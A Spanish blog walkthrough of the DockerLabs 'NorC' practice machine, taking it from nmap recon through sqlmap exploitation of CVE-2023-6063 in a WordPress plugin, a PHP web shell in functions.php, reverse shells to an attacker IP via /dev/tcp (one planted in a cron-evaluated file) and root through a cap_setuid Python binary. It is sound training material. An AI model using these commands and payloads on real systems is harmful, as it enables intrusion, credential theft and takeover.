Post

NorC

DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.

NorC

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/norc:-$ ping -c 1 127.17.0.2
PING 127.17.0.2 (127.17.0.2) 56(84) bytes of data.
64 bytes from 127.17.0.2: icmp_seq=1 ttl=64 time=0.041 ms

--- 127.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.041/0.041/0.041/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/norc:-$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 127.17.0.2 -oG nmap1
Host: 127.17.0.2 ()     Status: Up
Host: 127.17.0.2 ()     Ports: 22/open/tcp//ssh///, 80/open/tcp//http///        Ignored State: closed (65533)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/home/kali/Documents/dockerlabs/norc:-$ sudo nmap -sCV -p22,80 127.17.0.2 -vvv -oN nmap2
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 8c:5c:7b:fe:79:92:7a:f9:85:ec:a5:b9:27:25:db:85 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMmh6zo2qJwVI4UxMDW0F0h65QQiTeqeQAEZR8ZA/sgZ7TQTlKQqc9CoX9vO0Wa7qMSCYjp2uzhvI/47bkd1zZY=
|   256 ba:69:95:e3:df:7e:42:ec:69:ed:74:9e:6b:f6:9a:06 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRKCpUzCPrlMyI3AyRHrvzXKXJB4EngX+WZLgPZjwvJ
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to http://norc.labs/?password-protected=login&redirect_to=http%3A%2F%2Fpanel.mybb.dl%2F
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
/home/kali/Documents/dockerlabs/norc:-$ echo '127.17.0.2\tnorc.labs' | sudo tee -a /etc/hosts
1
2
3
/home/kali/Documents/dockerlabs/norc:-$ whatweb norc.labs
http://norc.labs [302 Found] Apache[2.4.59], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[127.17.0.2], RedirectLocation[http://norc.labs/?password-protected=login&redirect_to=http%3A%2F%2Fnorc.labs%2F], Strict-Transport-Security[max-age=15768000;includeSubdomains], UncommonHeaders[x-redirect-by,content-security-policy], X-XSS-Protection[1; mode=block]
http://norc.labs/?password-protected=login&redirect_to=http%3A%2F%2Fnorc.labs%2F [200 OK] Apache[2.4.59], Cookies[wordpress_test_cookie], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[127.17.0.2], PasswordField[password_protected_pwd], Script, Strict-Transport-Security[max-age=15768000;includeSubdomains], UncommonHeaders[content-security-policy], X-XSS-Protection[1; mode=block]

Web Analysis

Me encuentro con una aplicación web con un campo para introducir una contraseña.

Buscando archivos tipicos descubrí la existencia del archivo ‘robots.txt’.

El archivo menciona la presencia de wp-sitemap.xml, lo que indica que la aplicación utiliza WordPress como CMS.

Para profundizar en la enumeración, utilicé Dirsearch con un diccionario general y detecté varios recursos relacionados con WordPress.

1
/home/kali/Documents/dockerlabs/norc:-$ dirsearch -u http://norc.labs/ -x 404,403
1
/home/kali/Documents/dockerlabs/norc:-$ dirsearch -u http://norc.labs/ -w /usr/share/seclists/Discovery/Web-Content/CMS/wordpress.fuzz.txt -x 404,403,405,401,409,500

Sin embargo, no detecté nada particularmente útil en esta etapa.

Al no encontrar rutas directamente explotables, decidí usar Nuclei para detectar vulnerabilidades conocidas en la aplicación.

1
/home/kali/Documents/dockerlabs/norc:-$ nuclei -u http://norc.labs/


Vulnerability Exploitation

El análisis identificó que el plugin WP Fastest Cache en la aplicación es vulnerable a CVE-2023-6063. Esta vulnerabilidad permite SQL Injection.

https://nvd.nist.gov/vuln/detail/CVE-2023-6063

Este PoC muestra como explotar esta vulnerabilidad usando SQLMap.

https://github.com/thesafdari/CVE-2023-6063

1
/home/kali/Documents/dockerlabs/norc:-$ sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 --schema --batch

Encontré la tabla ‘wp_users’. Detuve SQLMap y ajusté el comando para enfocar el ataque en esta tabla.

1
/home/kali/Documents/dockerlabs/norc:-$ sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 -D wordpress -T wp_users --dump --batch

Logré extraer información del usuario ‘admin’, incluida su contraseña en formato phpass. Este formato de hash es específico de WordPress. Intenté romperlo con Hashcat sin éxito.

1
/home/kali/Documents/dockerlabs/norc:-$ hashcat --show '$P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.'

Lo siguente fue investigar el subdominio ‘oledockers.norc.labs’.

1
/home/kali/Documents/dockerlabs/norc:-$ echo '127.17.0.2\tnorc.labs\toledockers.norc.labs' | sudo tee -a /etc/hosts

En este subdominio encontré credenciales válidas para el usuario administrador admin:wWZvgxRz3jMBQ ZN.


Foothold

Decidí intentar cargar código PHP malicioso en el archivo ‘functions.php’ del tema activo ‘Twenty Twenty-Two’. Este método es común en WordPress para lograr RCE.

1
system($_GET['cmd']);

Navegando a http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=id. Confirmé que podía ejecutar comandos en el sistema.

Para obtener una shell interactiva, configuré un listener en mi máquina.

1
2
/home/kali/Documents/dockerlabs/norc:-$ nc -lnvp 1234
	listening on [any] 1234 ...

Luego utilicé una shell URL encodeada para consegir acceso remoto, http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.171%2F1234%200%3E%261%22.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	...connect to [192.168.0.171] from (UNKNOWN) [192.168.0.171] 39192

script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@kali:/var/www/norc$ ^Z
zsh: suspended  nc -lnvp 1234

/home/kali/Documents/dockerlabs/norc:-$ stty raw -echo;fg
[1]  + continued  nc -lnvp 1234
                               reset
reset: unknown terminal type unknown
Terminal type? xterm

www-data@kali:/var/www/norc$ export TERM=xterm
www-data@kali:/var/www/norc$ export SHELL=bash

/home/kali/Documents/dockerlabs/norc:-$ stty size
42 176

www-data@kali:/var/www/norc$ stty rows 42 columns 176

www-data@kali:/var/www/norc$ whoami
www-data

Lateral Movement

1
2
3
www-data@kali:/$ cat /etc/passwd | grep /bash$
root:x:0:0:root:/root:/bin/bash
kvzlx:x:1000:1000::/home/kvzlx:/bin/bash

Verifiqué las capacidades en binarios del sistema para encontrar posibles caminos de escalada.

1
2
www-data@kali:/$ getcap -r / 2>/dev/null
/opt/python3 cap_setuid=ep

El binario ‘/opt/python3’ tiene la capacidad ‘cap_setuid=ep’, lo que permite cambiar el ID de usuario. Sin embargo, al intentar usarlo, el sistema me negó el permiso.

https://gtfobins.github.io/gtfobins/python/#capabilities

1
2
www-data@kali:/home/kvzlx$ /opt/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
bash: /opt/python3: Permission denied

Pude acceder al directorio home del usuario ‘kvzlx’ y encontré un script que se ejecuta periódicamente ‘.cron_script.sh’

1
www-data@kali:/home/kvzlx$ cat .cron_script.sh

El uso de eval sin tratamiento adecuado en un script cron representa una vulnerabilidad crítica. Permite ejecutar comandos arbitrarios si se controla el contenido del archivo ‘/var/www/html/.wp-encrypted.txt’.

Para aprovechar esta vulnerabilidad, generé una reverse shell codificada en Base64 y la almacené en ‘/var/www/html/.wp-encrypted.txt’. Después, configuré un listener con Netcat en mi máquina para recibir la conexión.

1
2
3
4
/home/kali/Documents/dockerlabs/norc:-$ nc -lvpn 4321
	listening on [any] 1234 ...

www-data@kali:/home/kvzlx$ echo "bash -c 'bash -i >& /dev/tcp/192.168.0.171/4321 0>&1'" | base64 >> /var/www/html/.wp-encrypted.txt

Después de un tiempo, el script cron ejecutó mi reverse shell y obtuve acceso como ‘kvzlx’

1
2
3
4
	...connect to [192.168.0.171] from (UNKNOWN) [192.168.0.171] 49976

kvzlx@kali:~$ whoami
kvzlx

Privilege Escalation

Realicé el tratamiento de la TTY para mejorar la interacción con la shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kvzlx@kali:~$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
kvzlx@kali:/var/www/norc$ ^Z
zsh: suspended  nc -lnvp 1234

/home/kali/Documents/dockerlabs/norc:-$ stty raw -echo;fg
[1]  + continued  nc -lnvp 1234
                               reset
reset: unknown terminal type unknown
Terminal type? xterm

kvzlx@kali:/var/www/norc$ export TERM=xterm
kvzlx@kali:/var/www/norc$ export SHELL=bash

kvzlx@kali:/var/www/norc$ stty rows 42 columns 176

Revisé nuevamente las capacidades asignadas a los binarios del sistema. Y a diferencia del intento anterior como ‘www-data’, ahora puedo aprovechar esta capacidad con éxito.

1
2
3
4
5
kvzlx@kali:~$ /sbin/getcap -r / 2>/dev/null
/opt/python3 cap_setuid=ep
kvzlx@kali:~$ /opt/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1000(kvzlx) groups=1000(kvzlx)
This post is licensed under CC BY 4.0 by the author.